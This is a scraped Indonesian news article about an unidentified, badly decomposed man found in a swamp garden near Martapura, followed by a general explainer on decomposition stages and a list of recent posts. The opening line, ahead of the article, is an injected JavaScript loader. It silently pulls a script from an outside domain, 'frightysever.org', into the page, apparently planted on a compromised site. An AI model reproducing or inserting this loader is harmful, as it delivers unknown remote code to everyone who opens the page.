(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Jenazah Mr X Ditemukan Membusuk di Desa Sungai Batang


MARTAPURA, Temuan sesosok mayat Mr X gegerkan warga transmigrasi desa Sungai Batang RT 01, Kecamatan Martapura Barat yang berbatasan dengan desa Cindai Alus. Selasa (20/2) sekitar pukul 02.30 Wita dinihari ada laporan warga akan adanya penemuan jasad seorang pria di tengah kebun atau rawa. Laporan itu ditindak lanjuti langsung jajaran Polsek Martapura Barat yang langsung mendatangi lokasi penemuan mayat Mr X.

Bhabinkamtibnas Bripka Dedy Handayadi mengatakan, adanya laporan mayat Mr X bermula dari warga yang sedang mencari burung pada pukul 02:30 Wita ke Ketua RW Desa Cindai Alus kemudian Ketua RW terkait adanya temuan mayat itu.

“Setelah mendapatkan laporan kami langsung berangkat ke TKP bersama dua rekan piket, dan kita lakukan langsung evakuasi terhadap mayat tak dikenali itu,” ujarnya.

Saat ditemukan, jasad Mr X tersebut ditemukan dalam keadaan posisi tengadah, pada sebagian tubuhnya sudah tidak utuh. Dan suudah mengeluarkan aroma bau busuk yang dikerumuni belatung, namun tidak ada tanda pengenal atau identitas yang didapat.

“Mr X karena kita tidak menemukan identitasnya, namun untuk jenis kelamin diperkirakan laki-laki dan berusia 35 tahun-an,” katanya.

Bhabinkamtibnas Bripka Dedy Handayadi memperkirakan jasad tersebut telah meninggal dunia sudah lebih dari sepekan. Saat ini jasad tersebut berada di Rumah Sakit Ratu Zalecha Martapura untuk dilakukan visum.

“Kita belum bisa memastikan apa penyebab kematiannya, diperkirakan sudah 10 hari. Kita tidak menerima laporan dari masyarakat tentang kehilangan anggota keluarga, tunggu saja nanti hasil visum dari dokter,” kata Dedy.
Ia menghimbau kepada masyarakat yang merasa kehilangan keluarga atau mengetahui identitas jasad tersebut dapat menghubungi Polsek Martapura Barat atau Polres Banjar.

Adapun ciri lain saat ditemukan :
1. Menggunakan baju kemeja warna coklat bergaris hitam merk alwafa dipakai terbalik.
2. Celana pendek kolor warna crem.

Sering kita dengar tentang penemuan  mayat baik itu di darat maupun di dalam air, namun biasanya orang-orang yang berada di TKP langsung bisa mengatakan perkiraan berapa lama mayat tersebut. Perkiraan orang awam sering meleset tentang perkiraan usia mayat tersebut, karena saat seseorang sudah tidak bernyawa maka proses pembusukan sudah dimulai, namun ada beberapa hal yang perlu diketahui masyarakat bahwa TKP penemuan mayat tersebut memiliki faktor utama yang membuat cepat atau lambatnya proses pembusukan.

Pembusukan di darat :

  1. Tanda-tanda pembusukan jenazah secara klinis yang mulai tampak pada 24-48 jam kematian yaitu warna kehijauan pada perut kanan bawah, pelebaran vena superfisial, muka bengkak,  perut mengembung, skrotum atau vulva membengkak, kulit menggelembung atau melepuh,  bola mata melunak, lidah dan bola mata menonjol, dinding perut dan dada pecah, kuku dan rambut lepas, organ-organ membusuk dan hancur. Sumber lain membagi pembusukan menjadi 5 tahap: 1.Initial Decay (fresh stage) yang dimulai beberapa saat setelah kematian, berlangsung selama 24-72 jam. Tahap kaku mayat dan lebam mayat baru dimulai. Perubahan-perubahan yang terjadi belum nampak secara klinis. Bakteri mulai menyebar ke seluruh tubuh dan menyebarkan enzim digestif. Beberapa serangga mulai tertarik untuk datang dan berkoloni  pada mayat, salah satu yang muncul pertama adalah lalat famili calliphoridae. Kemudian disusul oleh famili sarcophagidae, piophilidae, dan muscidae.
  2. Putrefaction (bloat stage).  Berlangsung selama 4-10 hari pasca kematian. Pada tahap ini terjadi pembengkakan pada mayat akibat gas yang dihasilkan oleh metabolisme anaerob  bakteri. Gas yang terdiri atas hydrogen sulphide dan methane itu mulai menimbulkan bau  busuk yang nyata. Perut mengembung, lidah dan bola mata menonjol, keluarnya cairan melalui lubang tubuh, warna kehijauan pada kulit yang dimulai dari abdomen adalah tanda-tanda yang terlihat pada tahap ini.
  3. Black Putrefaction (active decay). Berlangsung selama 10-25 hari pasca kematian. Tanda dari tahap ini adalah bau yang sangat menyengat dan warna kehitaman pada mayat. Bagian- bagian tubuh mayat terbuka dan semakin memudahkan larva lalat untuk masuk. Pada tahap ini biasanya larva lalat telah mencapai 3rd instar, kemudian mulai meninggalkan jenazah untuk menjadi pupa. 4.Butyric Fermentation Stage (advance decay). Berlangsung selama 20-25 hari pasca kematian. Pada tahap ini mayat terlihat lebih kering dari sebelumnya. Terjadi fermentasi menghasilkan gas asam butirat (berbau seperti keju) yang menarik serangga spesies lain, seperti kumbang dari famili carcass, trogidae dan dermestidae. Bila mayat berada di tempat yang basah atau lembab, mungkin famili kumbang tidak akan muncul, dan larva lalat dapat  bertahan lebih lama.
  4. Dry or Remains Decay, Dapat berlangsung selama 25-50 hari pasca kematian. Pada tahap ini mayat menjadi sangat kering, tertinggal kulit yang mengering, rambut dan tulang, serta lalat atau larva sudah tidak nampak pada mayat. Kecepatan masing-masing tahap  pembusukan sangat bervariasi karena dipengaruhi oleh banyak faktor seperti temperatur udara, iklim, penyebab kematian, pakaian, obat-obatan, kandungan lemak dan ukuran tubuh mayat.

Pembusukan di Air

Pembusukan pada jenazah yang berada di air terjadi lebih lambat daripada yang berada di darat. Proses pembusukan jenazah di medium air dapat dibagi dalam 6 tahap, yaitu:

  1. Submerged Fresh Tahap rentang waktu antara jenazah tenggelam di dalam air sampai terlihat mulai terapung. Pada penelitian ini didapatkan waktu 2-6 hari
  2. Early Floating Gas yang diproduksi oleh bakteri-bakteri anaerob dalam tubuh meningkat, membuat  jenazah terangkat sampai permukaan air. Bau busuk yang dihasilkan proses  pembusukan akan menarik bagi serangga seperti
    blow flies untuk datang dan meletakkan telur pada bagian tubuh jenazah yang tidak terendam air. Pada  peristiwaini didapatkan waktu 6-8 hari
  3. Floating Decay
    Terjadi peningkatan aktivitas larva lalat pada bagian jenazah yang nampak di  permukaan air, menyebabkan banyak luka terbuka pada jenazah. Kulit jenazah mulai mengelupas dan warnanya menjadi kehitaman. Pada peristiwa ini didapatkan waktu 8-24 hari.
  4. Bloated Deterioration Sebagian besar tubuh jenazah telah muncul ke permukaan air. Cairan-cairan dalam tubuh keluar dari berbagai lubang pada tubuh jenazah, bahkan gas yang terbentuk  pada tahap sebelumnya dapat sampai membuat bagian perut pecah. Pada peristiwa didapatkan waktu 8-12 hari.
  5. Floating Remains. Aktivitas larva lalat (calliphoridae) mulai menurun disebabkan karena terjatuh dan tenggelam, atau bermigrasi, atau dimangsa oleh predator lain. Bagian-bagian tubuh  jenazah juga telah banyak tercerai. Pada peristiwa ini didapatkan waktu 4-20 hari.
  6. Sunken Remains Hanya tulang dan sedikit kulit dari jenazah yang tersisa, dan bau busuk pun telah menghilang. Kecepatan masing-masing tahap pembusukan dalam air ini juga sangat  bervariasi karena dipengaruhi oleh banyak faktor seperti temperatur air, kadar garam, konsentrasi oksigen, aquatic organisme, pakaian jenazah, ukuran tubuh jenazah, tenggelam atau terapung. (devi/berbagai sumber)
Reporter: Devi
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

2 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

11 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

12 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

14 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

15 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

16 jam ago

This website uses cookies.